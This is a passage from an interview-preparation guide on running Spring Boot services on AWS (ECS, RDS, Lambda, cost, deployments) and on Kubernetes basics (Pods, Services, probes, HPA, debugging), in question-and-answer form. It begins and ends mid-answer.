- Look at CloudWatch Container Insights `MemoryUtilized` trends; sawtooth to limit suggests a leak or too small a limit.
- Also rule out health-check kill: ECS sends SIGTERM first and SIGKILL after `stopTimeout` (default 30 s) if the app does not exit.

FOLLOW-UP TRAPS

- **Does Fargate allow any CPU/memory combo?** No, only defined pairs (e.g. 1 vCPU supports 2-8 GB).
- **Could the exit be from a deployment rather than failure?** Yes, check stop reason: scale-in or deployment sends SIGTERM first, so 143 would be expected.

#ecs #oomkilled #memory

Q17 The app works locally but gets `AccessDeniedException` on S3/Secrets Manager in ECS. Find the fix. BASIC

Locally the SDK uses your developer credentials; in ECS it uses the task role, which lacks permission, or the wrong role was used (execution vs task).

- Confirm which identity the app uses: `aws sts get-caller-identity` from the container (or log `StsClient`).
- Add least-privilege policy to the **task role** for app calls; to the **execution role** only for pulling images and launch-time `secrets` injection.
- Check resource ARN specifics: bucket ARN vs object ARN (`arn:aws:s3:::b` and `arn:aws:s3:::b/*`), KMS key policy permitting decrypt.
- Check for a permissions boundary, SCP or bucket policy deny.

```
{ "Effect": "Allow", "Action": ["s3:GetObject","s3:PutObject"],
  "Resource": "arn:aws:s3:::shop-uploads/*" }
```

FOLLOW-UP TRAPS

- **Why does `ListBucket` still fail with that policy?** It needs the bucket ARN without `/*`.
- **Encrypted with KMS and still denied?** The role also needs `kms:Decrypt` / `GenerateDataKey` on the key.

#iam #troubleshooting

Q18 Your app cannot connect to RDS after launch ("Connection timed out"). Debug. INTERMEDIATE

A timeout (as opposed to "connection refused" or auth failure) almost always means network blocking.

1. RDS security group inbound rule: port 5432/3306 from the app's SG (not just a CIDR).
2. Same VPC (or peering/TGW routes) and subnet routing; RDS "Publicly accessible" is irrelevant inside the VPC.
3. Correct endpoint and port in `spring.datasource.url`; not a stale instance endpoint after a restore.
4. Network ACLs allow ephemeral return ports.
5. Test from the task: `nc -zv <endpoint> 5432` using ECS Exec / a debug container.
6. If it connects but fails: `password authentication failed` points to the Secrets Manager value, `SSL required` to `sslmode`.

FOLLOW-UP TRAPS

- **Timeout vs refused?** Timeout is filtered packets; refused means reachable host but nothing listening.
- **Does making the DB public help?** It bypasses the symptom but is a security regression.

#rds #security-groups #vpc

Q19 After an RDS Multi-AZ failover your app throws errors for several minutes. Why and how do you reduce downtime? ADVANCED

On failover the endpoint's DNS record flips to the standby. The app has dead pooled connections and may cache the old IP.

- Set JVM DNS cache TTL low: `-Dnetworkaddress.cache.ttl=30` (or `networkaddress.cache.ttl` in `java.security`); the default is about 30 s, but infinite if a security manager is installed.
- HikariCP: `max-lifetime` below network idle limits, `connection-timeout` ~3-5 s, `keepaliveTime`, so bad connections are evicted quickly.
- Use the AWS Advanced JDBC Wrapper (failover plugin) to detect topology changes in seconds, or RDS Proxy which holds client connections across failover.
- Aurora's cluster endpoint and faster failover (~30 s).
- Make clients retry idempotent operations (Spring Retry/Resilience4j).

FOLLOW-UP TRAPS

- **Does Multi-AZ failover lose committed data?** No, replication to the standby is synchronous.
- **Will Hikari reconnect by itself?** Yes, but only after validating/evicting broken connections, which can take up to `connection-timeout`.

#rds #failover #hikari

Q20 Lambda-based Spring Boot API times out on the first request after idle. What are your options? ADVANCED

Cold start of the JVM plus Spring context init exceeds the API Gateway/Lambda timeout. In order of cost-effectiveness:

1. Enable SnapStart on a published version/alias (invoke via alias), and add CRaC hooks for resources opened at init.
2. Increase memory (e.g. 512 MB to 2048 MB) to get more CPU; often halves init time.

3. Slim the app: Spring Cloud Function, remove unused starters, lazy initialization, disable component scanning of large packages.
4. Native image with custom runtime.
5. Provisioned concurrency for latency-critical endpoints.
6. If traffic is steady, move to Fargate; Lambda is wrong for constantly warm, long-lived JVM workloads.

FOLLOW-UP TRAPS

- **Does warming with scheduled pings scale?** It keeps one environment warm, not concurrent ones; scale-out still cold-starts.
- **SnapStart on `$LATEST`?** Not supported; it needs a published version.

#lambda #cold-start

Q21 You must deploy a zero-downtime release with a DB column rename. How? ADVANCED

During rolling or blue/green deploys old and new code run simultaneously, so the schema must support both: expand/contract.

1. Release 1 (expand): add the new column `full_name`, write to both columns, read old; backfill existing rows in batches.
2. Release 2: read new column, still dual-write.
3. Release 3 (contract): stop writing the old column; later migration drops it.

```
-- V12__expand_full_name.sql
ALTER TABLE customer ADD COLUMN full_name varchar(200);
UPDATE customer SET full_name = name WHERE full_name IS NULL;
```

A direct `RENAME COLUMN` breaks every old task instantly. Run migrations as a separate pre-deploy step (not by every instance racing on start) and make them non-blocking (e.g. `CREATE INDEX CONCURRENTLY`).

FOLLOW-UP TRAPS

- **Does Flyway lock so parallel instances are safe?** Yes, via a schema history lock, but long migrations still delay startup and health checks.
- **Can ECS circuit breaker undo the migration?** No, only the task set.

#blue-green #flyway #migration

Q22 Design a secure, highly available architecture for a Spring Boot API with Postgres and Redis. ADVANCED

Three-tier, multi-AZ, least privilege.

- Route 53 to CloudFront/WAF (optional) to public ALB in 2+ public subnets (ACM TLS cert).
- ECS Fargate service (min 2 tasks across AZs) in private subnets; task role scoped to needed resources; secrets from Secrets Manager.
- RDS PostgreSQL Multi-AZ (or Aurora) in isolated subnets, encrypted with KMS, automated backups plus PITR; read replica for reporting.
- ElastiCache Redis replication group, Multi-AZ, TLS.
- VPC endpoints for ECR, S3, Secrets Manager, CloudWatch; NAT only for other egress.
- SG chain ALB to app to DB/cache; no inbound from internet except ALB.
- Autoscaling on request count; alarms on 5xx/latency/unhealthy hosts; CloudWatch dashboards; centralized logs.
- IaC (Terraform/CDK) and CI/CD with image scanning and blue/green deployment.

FOLLOW-UP TRAPS

- **Single NAT Gateway is a risk?** Yes for AZ failure; production usually has one per AZ.
- **Where is the failure domain of Multi-AZ?** One AZ; regional outage needs multi-region (Aurora Global, Route 53 failover).

#architecture #ha #security

Q23 Your AWS bill doubled after moving to Fargate. How do you investigate and cut cost? INTERMEDIATE

Use Cost Explorer grouped by service and usage type (tag your resources).

- Fargate: tasks over-sized (4 vCPU/8 GB where the JVM uses 20%); right-size from Container Insights; run Graviton (ARM) tasks, ~20% cheaper; Fargate Spot for non-critical.
- Too many always-on tasks in dev/staging: scale to zero out of hours.
- NAT Gateway data processing: image pulls from Docker Hub/ECR and S3 via NAT; add ECR/S3 endpoints.
- CloudWatch Logs ingestion from verbose logs; set retention and level INFO.
- ALB LCUs, cross-AZ data transfer.
- Commit with Compute Savings Plans (cover Fargate, EC2, Lambda).

Expected: right-sizing plus endpoints plus Savings Plan typically yields 30-50% savings.

FOLLOW-UP TRAPS

- **Does Fargate bill while the task starts?** Yes, from image pull start until the task stops.
- **Are Savings Plans tied to instance types?** Compute Savings Plans are not; EC2 Instance Savings Plans are.

#cost #fargate

Q24 Pulls fail with "CannotPullContainerError" for a task in a private subnet. Fix. INTERMEDIATE

The task cannot reach ECR (or Docker Hub) from a private subnet, or lacks permission.

- No route: add a NAT Gateway route or, better, VPC interface endpoints `ecr.api`, `ecr.dkr`, plus an S3 gateway endpoint (ECR layers are stored in S3) and `logs`.
- Endpoint security group must allow 443 from the task SG; enable private DNS.
- Execution role needs `ecr:GetAuthorizationToken`, `ecr:BatchGetImage`, `ecr:GetDownloadUrlForLayer`.
- Wrong image tag or repo/account/region; the architecture mismatch (arm64 image on x86 task) shows a different error (`exec format error`).
- Docker Hub rate limits: mirror to ECR (pull-through cache).

FOLLOW-UP TRAPS

- **Why is the S3 endpoint needed for ECR?** Image layers are fetched from S3 behind the scenes.
- **Public IP assignment instead?** Works in a public subnet but exposes tasks; avoid for production.

#ecr #ecs #networking

Q25 Scaling out under load makes RDS hit `too many connections`. What do you do? ADVANCED

Total connections = tasks x Hikari max pool size. Autoscaling to 40 tasks with pool 20 asks for 800 connections.

- Compute the budget: `max_connections` (RDS default depends on instance memory) minus reserved for admin/replication; divide by max task count.
- Lower the per-task pool (10 is plenty for most; throughput is bounded by DB cores, not pool size).
- Add RDS Proxy to multiplex many app connections onto fewer DB connections (essential for Lambda).
- Offload reads to replicas, add caching, shorten transactions (do not hold a connection during remote calls).
- Alarm on `DatabaseConnections` and pool pending metrics (`hikaricp_connections_pending`).

```
spring.datasource.hikari:
  maximum-pool-size: 10
  minimum-idle: 10
  connection-timeout: 3000
```

FOLLOW-UP TRAPS

- **Does a bigger pool give more throughput?** Beyond a point it causes contention; the optimal is small.
- **Does RDS Proxy pin connections?** Yes, certain session state (prepared statements in some cases, SET) pins and reduces multiplexing.

#rds #connection-pool #scaling

Q26 A canary release on ECS must roll back automatically if error rate rises. How do you set it up? ADVANCED

Use ECS with the CodeDeploy blue/green controller and a canary config, wired to CloudWatch alarms.

- Two target groups (blue/green) behind the ALB with a production listener and a test listener.
- Deployment config such as `CodeDeployDefault.ECSCanary10Percent5Minutes`: 10% of traffic to green for 5 minutes, then the remainder.
- Alarms: `HTTPCode_Target_5XX_Count`, `TargetResponseTime` p99 on the green target group, plus a synthetic check.
- `autoRollbackConfiguration` with `DEPLOYMENT_STOP_ON_ALARM`, and `DEPLOYMENT_FAILURE`.
- Lifecycle hook (`AfterAllowTestTraffic`) Lambda runs smoke tests against the test listener before shifting real traffic.
- The old task set is kept for `terminationWaitTimeInMinutes` for fast rollback.

FOLLOW-UP TRAPS

- **Does it handle DB incompatibility?** No, schema backward compatibility is your responsibility.
- **Is a 5-minute canary enough?** Only if the canary gets enough traffic to produce a statistically meaningful signal.

#codedeploy #canary #alarms

Q27 A Spring Boot app on EC2 behind an ASG gets terminated by scale-in during long requests. What is the fix? INTERMEDIATE

Scale-in terminates instances without regard for in-flight work unless you drain.

- Enable ALB deregistration delay (e.g. 60-120 s) so connections drain.
- Add an ASG termination lifecycle hook that runs a script: stop accepting traffic, wait for `server.shutdown=graceful` to finish, then complete the hook.
- Make the service run under systemd with `TimeoutStopSec` above the graceful timeout and `KillSignal=SIGTERM`.
- Enable instance scale-in protection for instances running critical jobs; make long jobs resumable (queue-based).

```
[Service]
ExecStart=/usr/bin/java -jar /opt/app/app.jar
SuccessExitStatus=143
TimeoutStopSec=40
```

FOLLOW-UP TRAPS

- **Why `SuccessExitStatus=143`?** A JVM that exits on SIGTERM returns 143, which systemd would otherwise log as failure.
- **Does deregistration delay stop new requests?** Yes, only existing connections continue.

#asg #graceful-shutdown #lifecycle

Q28 Users upload 2 GB files and the API OOMs or times out through the ALB. Redesign. ADVANCED

Do not proxy large payloads through the app. API Gateway has a 10 MB payload limit; the ALB has a 60 s idle timeout and the app holds buffers.

Design: client asks the API for a pre-signed (or multipart) upload; uploads directly to S3; S3 event triggers processing.

1. `POST /uploads` returns a pre-signed PUT URL (or multipart upload ID plus per-part URLs).
2. Client uploads to S3 with a bucket CORS rule allowing the origin.
3. S3 event notification to SQS; a worker validates (size, type, virus scan) and records metadata.
4. Bucket: block public access, SSE-KMS, lifecycle rules for abandoned multipart uploads.

If streaming through the app is unavoidable, stream (`InputStream` to `S3TransferManager`) and set `spring.servlet.multipart.max-file-size` and temp dir sizes; never buffer into a `byte[]`.

> **FOLLOW-UP TRAPS**
> - **How do you enforce size limits on pre-signed PUT?** Use a presigned POST policy with `content-length-range`, since presigned PUT does not cap size.
> - **Who pays for abandoned multipart parts?** You do, until a lifecycle rule aborts them.

#s3 #uploads #architecture

Q29 How do you troubleshoot a slow endpoint after moving behind ALB + RDS + ElastiCache? ADVANCED

Locate the time with data rather than guessing.

1. ALB metrics: `TargetResponseTime` vs the app's own timer; large gap means network/queueing (target SG, connection reuse).
2. Tracing (X-Ray/OTel) to split time among app, DB, Redis and downstream calls.
3. RDS: Performance Insights for top SQL and waits, `CPUUtilization`, `ReadIOPS`, burst balance on gp2/T-class, connection count.
4. App: Hikari pending threads, GC pauses, CPU throttling on small Fargate sizes, thread pool saturation.
5. Cache: hit ratio, evictions, big keys; network cross-AZ latency (place app and cache in same AZ where possible).
6. Slow only on cold tasks: JIT warm-up; use autoscaling warm-up and readiness gating.

Typical root causes: N+1 queries, missing index, undersized DB, exhausted connection pool, cache stampede.

> **FOLLOW-UP TRAPS**
> - **Does Multi-AZ add write latency?** Slightly, due to synchronous replication.
> - **Why is p99 bad but average fine?** Queueing, GC pauses or noisy outliers; always look at percentiles.

#latency #troubleshooting #observability

Q30 Terraform or CDK deploys succeed but ECS tasks run the old image after pushing a new `latest` tag. Why? BASIC

ECS resolves the task definition, not the registry, on deployment. With an unchanged task definition (still `repo:latest`), no new deployment is triggered, and a new task may reuse a cached image on the host.

- Use immutable tags (Git SHA, build number) and register a new task definition revision per release, so the deployment is explicit and rollback is a revision change.
- Enable ECR tag immutability.
- If forced: `aws ecs update-service --force-new-deployment` pulls `latest` again, but you lose traceability.
- Prefer the digest: `repo@sha256:...`.

```
aws ecs register-task-definition --cli-input-json file://td.json
aws ecs update-service --cluster prod --service api --task-definition api:57
```

FOLLOW-UP TRAPS

- **Does Fargate cache images?** Each task pulls fresh on a new host, but do not rely on it.
- **Is `latest` ever acceptable?** Only for local dev.

#ecs #image-tag #deployment

DOCKER, CLOUD & DEVOPS · CHAPTER 3

Kubernetes Basics

Pods, Deployments, Services, Ingress, ConfigMaps and Secrets, probes, resource requests and limits, HPA, rolling updates, PodDisruptionBudgets, Helm and debugging CrashLoopBackOff, OOMKilled and Pending pods.

25 questions **9** basic **13** intermediate **3** advanced

Theory

Q1 What is a Pod and why is it the smallest deployable unit? BASIC

A Pod is one or more tightly coupled containers sharing a network namespace (one IP, `localhost` between them) and optionally volumes, scheduled together on one node. Kubernetes schedules and restarts Pods, not bare containers.

- Pods are ephemeral: when one dies it is replaced by a new Pod with a new IP and name.
- Multi-container patterns: sidecar (log shipper, proxy), init container (runs to completion before app containers, e.g. DB migrations or waiting for a dependency).
- Do not create bare Pods for apps; use a controller (Deployment).

FOLLOW-UP TRAPS

- **Does a restarted container get a new Pod IP?** No, container restarts keep the Pod IP; a rescheduled Pod gets a new one.
- **Can two containers in a Pod both listen on port 8080?** No, they share the network namespace.

#pod #basics

Q2 Explain Deployment, ReplicaSet and the relationship between them. BASIC

A Deployment declares the desired state of stateless Pods; it manages ReplicaSets, and each ReplicaSet maintains a number of identical Pods for one Pod template version. A template change creates a new ReplicaSet and shifts replicas gradually.

```
apiVersion: apps/v1
kind: Deployment
metadata: { name: api }
spec:
  replicas: 3
  selector: { matchLabels: { app: api } }
  template:
    metadata: { labels: { app: api } }
    spec:
      containers:
        - name: api
          image: reg.io/shop/api:1.4.0
          ports: [{ containerPort: 8080 }]
```

- `kubectl rollout history/undo deployment/api` uses retained ReplicaSets (`revisionHistoryLimit`, default 10).
- `selector` is immutable after creation and must match the template labels.

FOLLOW-UP TRAPS

- **Does scaling replicas create a new ReplicaSet?** No, only template changes do.
- **StatefulSet vs Deployment?** StatefulSet gives stable identity and per-Pod storage (`pod-0` , PVC per replica) for databases and brokers.

#deployment #replicaset

Q3 How do Services provide stable networking, and what are the types? BASIC

A Service gives a stable virtual IP and DNS name in front of a changing set of Pods selected by labels; kube-proxy (iptables/IPVS) load-balances to ready endpoints only.

- `ClusterIP` (default): in-cluster only; DNS `api.shop.svc.cluster.local` .
- `NodePort` : opens a port (30000-32767) on every node.
- `LoadBalancer` : provisions a cloud LB (ELB/NLB on AWS).
- `ExternalName` : DNS CNAME alias.
- Headless (`clusterIP: None`): no VIP, DNS returns Pod IPs; used with StatefulSets.

```
apiVersion: v1
kind: Service
metadata: { name: api }
spec:
  selector: { app: api }
  ports: [{ port: 80, targetPort: 8080 }]
```

FOLLOW-UP TRAPS

- **Why does a Service have no endpoints?** Selector/labels mismatch or Pods not Ready.
- **Is Service load balancing request-level?** It is connection-level (L4); long-lived HTTP/2 or gRPC connections stick to one Pod.

#service #networking

Q4 What does an Ingress do and how is it different from a Service? INTERMEDIATE

An Ingress is an L7 routing rule set (host and path to Service) implemented by an Ingress controller (NGINX, AWS Load Balancer Controller, Traefik); the resource alone does nothing without a controller. It consolidates many Services behind one load balancer and handles TLS termination.

```
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata: { name: api }
spec:
  ingressClassName: nginx
  tls: [{ hosts: [api.shop.com], secretName: api-tls }]
  rules:
    - host: api.shop.com
      http:
        paths:
          - { path: /, pathType: Prefix, backend: { service: { name: api, port: { number: 80 } }
} }
```

- On AWS, the AWS Load Balancer Controller turns Ingress into an ALB (and `Service type=LoadBalancer` into an NLB).
- The newer Gateway API is the successor for richer routing.

FOLLOW-UP TRAPS

- **Ingress without a controller?** Created but unserved; no address assigned.
- **Is TLS termination at Ingress end-to-end encryption?** No, traffic to Pods is plain unless you configure backend TLS or a mesh.

#ingress #routing

Q5 How do you provide configuration with ConfigMaps and Secrets to a Spring Boot app? BASIC

ConfigMaps hold non-sensitive config, Secrets hold sensitive values (base64 encoded, not encrypted by default). Inject as env vars or mounted files; Spring Boot's relaxed binding maps `SPRING_DATASOURCE_URL` to `spring.datasource.url`.

```
envFrom:
  - configMapRef: { name: api-config }
env:
  - name: SPRING_DATASOURCE_PASSWORD
    valueFrom: { secretKeyRef: { name: db-secret, key: password } }
```

- Mounted ConfigMap/Secret files update in running Pods (eventually, ~1 min); env vars do not update until Pod restart.
- `spring.config.import=optional:configtree:/etc/secrets/` reads each file as a property.
- Enable encryption at rest for etcd, restrict RBAC, or use External Secrets / Secrets Store CSI with a cloud vault.

FOLLOW-UP TRAPS

- **Is base64 a form of security?** No, it is encoding only; anyone with read access can decode.
- **Does editing a ConfigMap restart Pods?** No; use a checksum annotation (Helm) or a rollout restart.

#configmap #secret #config

Q6 Explain liveness, readiness and startup probes. INTERMEDIATE

- **Liveness**: is the process stuck? Failure makes kubelet restart the container.
- **Readiness**: can it serve traffic now? Failure removes the Pod from Service endpoints without restarting.
- **Startup**: gates the other two until the app has started; protects slow-starting apps from being killed by liveness.

```
startupProbe:
  httpGet: { path: /actuator/health/liveness, port: 8080 }
  periodSeconds: 5
  failureThreshold: 30        # up to 150 s to start
livenessProbe:
  httpGet: { path: /actuator/health/liveness, port: 8080 }
  periodSeconds: 10
  failureThreshold: 3
readinessProbe:
  httpGet: { path: /actuator/health/readiness, port: 8080 }
  periodSeconds: 5
```

- Spring Boot provides liveness/readiness state groups (`management.endpoint.health.probes.enabled=true`; auto on Kubernetes).
- Liveness should check only the app's internal health, never downstream dependencies.
- Readiness may include critical dependencies, but beware cascading removal of all Pods.

FOLLOW-UP TRAPS

- **What happens if liveness points at the DB check?** A DB blip restarts every Pod, worsening the outage.
- **Does readiness failure kill the Pod?** No, only traffic is withheld.

#probes #actuator

Q7 How do resource requests and limits work, and what are QoS classes? INTERMEDIATE

Requests are what the scheduler reserves on a node and what CPU shares are weighted by; limits are hard caps enforced by the kernel. Exceeding the memory limit kills the container (OOMKilled); exceeding the CPU

limit throttles it.

```
resources:
  requests: { cpu: "500m", memory: "1Gi" }
  limits:   { memory: "1Gi" }
```

- QoS: **Guaranteed** (requests == limits for all containers), **Burstable** (some requests/limits), **BestEffort** (none). Under node pressure BestEffort, then Burstable are evicted first.
- Common JVM pattern: memory request = limit, CPU request set, CPU limit generous or absent to avoid throttling.
- Units: `m` millicores, `Mi` / `Gi` binary (`M` / `G` decimal).
- Set `-XX:MaxRAMPercentage` relative to the memory limit.

FOLLOW-UP TRAPS

- **Is exceeding a CPU limit fatal?** No, only throttled.
- **Does the scheduler use limits?** No, requests only (unless limits are the only value, in which case requests default to limits).

#resources #qos

Q8 How does the Horizontal Pod Autoscaler work? INTERMEDIATE

HPA periodically (default 15 s) computes `desired = ceil(current * currentMetric / targetMetric)` and updates the Deployment's replicas within min/max bounds. CPU utilization is measured as a percentage of the Pod's **request**, requiring metrics-server and CPU requests to be set.

```
apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
metadata: { name: api }
spec:
  scaleTargetRef: { apiVersion: apps/v1, kind: Deployment, name: api }
  minReplicas: 3
  maxReplicas: 20
  metrics:
    - type: Resource
      resource: { name: cpu, target: { type: Utilization, averageUtilization: 65 } }
  behavior:
    scaleDown: { stabilizationWindowSeconds: 300 }
```

- Custom/external metrics (requests/s, queue length) via Prometheus Adapter or KEDA.
- HPA scales Pods; the Cluster Autoscaler/Karpenter scales nodes when Pods are Pending.
- Do not set `replicas` in the Deployment manifest when using HPA via GitOps, or it will fight the HPA.

FOLLOW-UP TRAPS

- **HPA shows `<unknown>` for CPU?** metrics-server missing or no CPU request defined.
- **Does HPA scale on memory well for JVM?** Poorly; heap rarely shrinks, so memory utilization stays high.

#hpa #autoscaling

Q9 How do rolling updates work and how do you tune them? INTERMEDIATE

The default strategy `RollingUpdate` creates new Pods and terminates old ones gradually, governed by `maxSurge` (extra Pods allowed) and `maxUnavailable` (Pods allowed down). A new Pod counts as available only after readiness passes (plus `minReadySeconds`).

```
strategy:
  type: RollingUpdate
  rollingUpdate: { maxSurge: 25%, maxUnavailable: 0 }
minReadySeconds: 10
progressDeadlineSeconds: 300
```

- `maxUnavailable: 0` with `maxSurge: 1` gives zero-downtime but needs spare capacity.
- Roll back: `kubectl rollout undo deployment/api`; watch with `kubectl rollout status`.
- `Recreate` strategy kills all Pods first (downtime) and fits apps that cannot run two versions.
- A hung rollout exceeds `progressDeadlineSeconds` and is marked failed but is not rolled back automatically.

FOLLOW-UP TRAPS

- **Why can a rollout still drop requests with `maxUnavailable: 0`?** Pods get SIGTERM while endpoints are still propagating; add a `preStop` sleep and graceful shutdown.
- **Is a bad rollout auto-reverted?** No; tools like Argo Rollouts or Flagger do that.

#rolling-update #deployment

Q10 What is a PodDisruptionBudget and when does it apply? INTERMEDIATE

A PDB limits how many Pods of an app can be down due to **voluntary** disruptions (node drain, cluster upgrade, autoscaler scale-down), keeping minimum availability.

```
apiVersion: policy/v1
kind: PodDisruptionBudget
metadata: { name: api }
spec:
  minAvailable: 2
  selector: { matchLabels: { app: api } }
```

- `kubectl drain` evicts through the Eviction API and respects the PDB; it blocks if eviction would violate it.
- It does not protect against involuntary disruptions (node crash, OOM) or deletion with `kubectl delete pod`.
- A PDB with `minAvailable` equal to replica count blocks node drains forever; leave headroom (`maxUnavailable: 1`).
- Combine with topology spread/anti-affinity so replicas are on different nodes/AZs.

FOLLOW-UP TRAPS

- **Does a PDB stop a Deployment rolling update?** No, rolling updates are governed by the Deployment strategy.
- **Why is my node drain stuck?** A PDB with zero allowed disruptions.

#pdb #availability

Q11 What is Helm and how does it structure a Spring Boot deployment? INTERMEDIATE

Helm is the package manager for Kubernetes: a chart is a set of Go-templated manifests plus `values.yaml` defaults; a release is an installed instance of a chart with its revision history.

```
# templates/deployment.yaml (excerpt)
image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
replicas: {{ .Values.replicaCount }}
```

```
helm upgrade --install api ./chart -n shop -f values-prod.yaml --set image.tag=1.4.1 --atomic --wait
helm rollback api 3
helm template api ./chart -f values-prod.yaml   # render without installing
```

- Layered values: chart defaults, environment file, `--set`.
- `--atomic` rolls back automatically if the release fails; hooks run Jobs (migrations) pre/post-upgrade.
- Add `checksum/config: {{ include (print $.Template.BasePath "/configmap.yaml") . | sha256sum }}` as a Pod annotation to roll Pods on ConfigMap changes.
- Alternative: Kustomize overlays (built into `kubectl -k`).

FOLLOW-UP TRAPS

- **Does `helm rollback` revert the database?** No, only Kubernetes resources.
- **Helm 2 vs 3?** Helm 3 removed Tiller; releases are stored as Secrets in the namespace.

#helm #packaging

Q12 How does service discovery and DNS work inside a cluster? BASIC

CoreDNS creates records for every Service: `<svc>.<namespace>.svc.cluster.local`. Pods resolve short names via the search path in `/etc/resolv.conf`, so within the same namespace `http://orders` works, and across namespaces use `orders.billing`.

- Env vars `<SVC>_SERVICE_HOST` are injected too but only for Services existing at Pod creation.
- Spring Cloud Kubernetes or plain Service DNS replaces Eureka in a K8s-only environment.
- `ndots:5` default causes extra DNS lookups for external names; use FQDN with trailing dot or tune `dnsConfig`.
- Headless Services return individual Pod A records.

FOLLOW-UP TRAPS

- **Does the JVM cache DNS forever?** With default settings it caches about 30 s (infinite only with a security manager); stale IPs after Pod changes can still occur briefly.
- **Is client-side load balancing needed?** For gRPC/long-lived connections yes, or use a headless Service or mesh.

#dns #service-discovery

Q13 What are namespaces, labels, selectors and RBAC for? BASIC

Namespaces partition a cluster (per team/environment) for names, quotas and RBAC. Labels are key/value tags on objects; selectors query them (Services, Deployments, NetworkPolicies depend on this). RBAC (Role/ClusterRole plus bindings) controls which identities can perform which verbs on which resources.

- `ResourceQuota` and `LimitRange` cap and default resources per namespace.
- `NetworkPolicy` restricts Pod-to-Pod traffic (needs a CNI that enforces it); default is allow-all.
- Each Pod runs as a ServiceAccount; grant it only the permissions it needs, and on EKS map it to an IAM role (IRSA / Pod Identity).

FOLLOW-UP TRAPS

- **Are namespaces a security boundary?** Only logically; without NetworkPolicies and RBAC, Pods can still talk across namespaces.
- **Label vs annotation?** Labels are for selection; annotations hold arbitrary non-identifying metadata.

#namespaces #labels #rbac

Scenarios

Q14 A Pod is in `CrashLoopBackOff`. What is your debugging procedure? BASIC

CrashLoopBackOff means the container keeps exiting and kubelet restarts it with exponential backoff (10 s up to 5 min). Find why it exits.

```
kubectl get pod api-7d9f -o wide
kubectl logs api-7d9f --previous          # logs of the crashed container
kubectl describe pod api-7d9f             # Last State, Exit Code, Events
kubectl get events --sort-by=.lastTimestamp
```

- Exit code 1: application error (bad config, missing env, DB unreachable at startup).
- 137: SIGKILL, often OOMKilled or liveness kill; 143: SIGTERM.

- 126/127: command not executable/not found (wrong entrypoint, missing shell).
- Liveness probe failing during slow start: add a startupProbe or raise `initialDelaySeconds`.
- Debug: `kubectl debug -it pod/api --image=busybox --target=api`, or temporarily override command to `sleep`.

FOLLOW-UP TRAPS

- **Why are `kubectl logs` empty?** Use `--previous`; the current container just restarted.
- **Does fixing a ConfigMap clear the backoff?** The Pod must restart anyway; the backoff delay resets after 10 minutes of running OK.

#crashloopbackoff #troubleshooting

Q15 A Spring Boot container shows `Reason: OOMKilled`, exit code 137. What now? INTERMEDIATE

The container's cgroup memory limit was exceeded and the kernel killed it. Distinguish a leak from a mis-sized limit.

```
kubectl describe pod api-7d9f | grep -A5 "Last State"
kubectl top pod api-7d9f --containers
```

- Heap too close to limit: replace `-Xmx` with `-XX:MaxRAMPercentage=70`.
- Non-heap growth: threads, direct buffers, metaspace; use NMT (`-XX:NativeMemoryTracking=summary`) and `jcmd`.
- Raise the memory limit (and request equal to it) if working set legitimately needs it; the scheduler must then find nodes that fit.
- Plot `container_memory_working_set_bytes` against the limit; a steady climb means leak, sawtooth hitting limit means undersized.
- If the heap itself overflows, you get a Java `OutOfMemoryError` instead and the container may stay running; add `-XX:+ExitOnOutOfMemoryError`.

FOLLOW-UP TRAPS

- **Is it OOMKilled if the node runs out of memory?** Node pressure causes Pod eviction (`Evicted`), a different status from container OOMKilled.
- **Does `kubectl top` include page cache?** It shows the working set, which excludes inactive file cache.

#oomkilled #jvm #memory

Q16 A Pod stays `Pending`. How do you find out why? BASIC

Pending means the scheduler has not placed it (or images/volumes are not ready). `kubectl describe pod` Events say why.

- `0/5 nodes are available: Insufficient memory/cpu`: requests too large; lower them, add nodes, or let Cluster Autoscaler/Karpenter scale up.
- `node(s) had untolerated taint`: add a toleration or use another node pool.
- `didn't match Pod's node affinity/selector`: fix `nodeSelector`/affinity.
- `unbound immediate PersistentVolumeClaims`: no matching StorageClass/PV or zone mismatch (EBS volumes are AZ-bound).
- Quota exceeded in the namespace (`ResourceQuota`) appears at creation time (Deployment events), not as Pending.
- `ContainerCreating`/`ImagePullBackOff` are different later states (image/registry/secret issues).

```
kubectl describe pod web-0 | sed -n '/Events/,$p'
kubectl get nodes; kubectl describe node <n> | grep -A8 Allocated
```

FOLLOW-UP TRAPS

- **Does a high limit with a low request affect scheduling?** No, only requests count.
- **Pod pending though the node looks idle?** Requests (not actual usage) fill allocatable capacity.

#pending #scheduling

Q17 Pods show `ImagePullBackOff`. Causes and fixes? BASIC

Kubelet cannot pull the image, and retries with backoff. Check `kubectl describe pod` for the pull error.

- Typo in image name or tag, or the tag does not exist.
- Private registry without credentials: create a docker-registry Secret and reference it via `imagePullSecrets` (or attach to the ServiceAccount). On EKS, node role needs ECR read permissions.
- Registry rate limits (Docker Hub) or network egress blocked.
- Architecture mismatch gives `exec format error` at run time rather than pull failure.

```
kubectl create secret docker-registry regcred \
  --docker-server=reg.io --docker-username=ci --docker-password="$TOKEN"
```

```
spec:
  imagePullSecrets: [{ name: regcred }]
```

FOLLOW-UP TRAPS

- **`imagePullPolicy` default?** `IfNotPresent` for versioned tags, `Always` for `:latest` or no tag.
- **Are pull secrets cluster-wide?** No, they are namespaced.

#imagepullbackoff #registry

Q18 The Pod is Running but the Service returns connection refused or 503. How do you trace it? INTERMEDIATE

Walk from Pod outward.

1. `kubectl get pods`: READY `1/1`? Not ready Pods are excluded.
2. `kubectl get endpoints api` (or `endpointslices`): empty means selector mismatch or unready Pods.
3. Compare `Service.spec.selector` with Pod labels; compare `targetPort` with the port the app listens on (Boot default 8080, not 80).
4. Test directly: `kubectl port-forward pod/api-x 8080:8080`, then from another Pod `curl http://api.shop/actuator/health`.
5. Check the app binds `0.0.0.0` (not `127.0.0.1`, e.g. `server.address` set to localhost).
6. NetworkPolicy blocking, or Ingress `serviceName/port` wrong; check the controller logs.

```
kubectl get endpoints api -o wide
kubectl run tmp --rm -it --image=curlimages/curl -- curl -sv http://api/actuator/health
```

FOLLOW-UP TRAPS

- **Why does the port-forward work but the Service not?** Port-forward bypasses selector and readiness.
- **Does `port` need to equal `targetPort`?** No; `port` is the Service port, `targetPort` the container's.

#service #endpoints #troubleshooting

Q19 Rolling update causes a burst of 502s during deployment. Why, and how do you make it seamless? ADVANCED

On termination, Kubernetes concurrently sends SIGTERM and removes the Pod from endpoints. Load balancers/kube-proxy may still route to the Pod for a few seconds; if the app stops accepting immediately, requests fail.

Fixes:

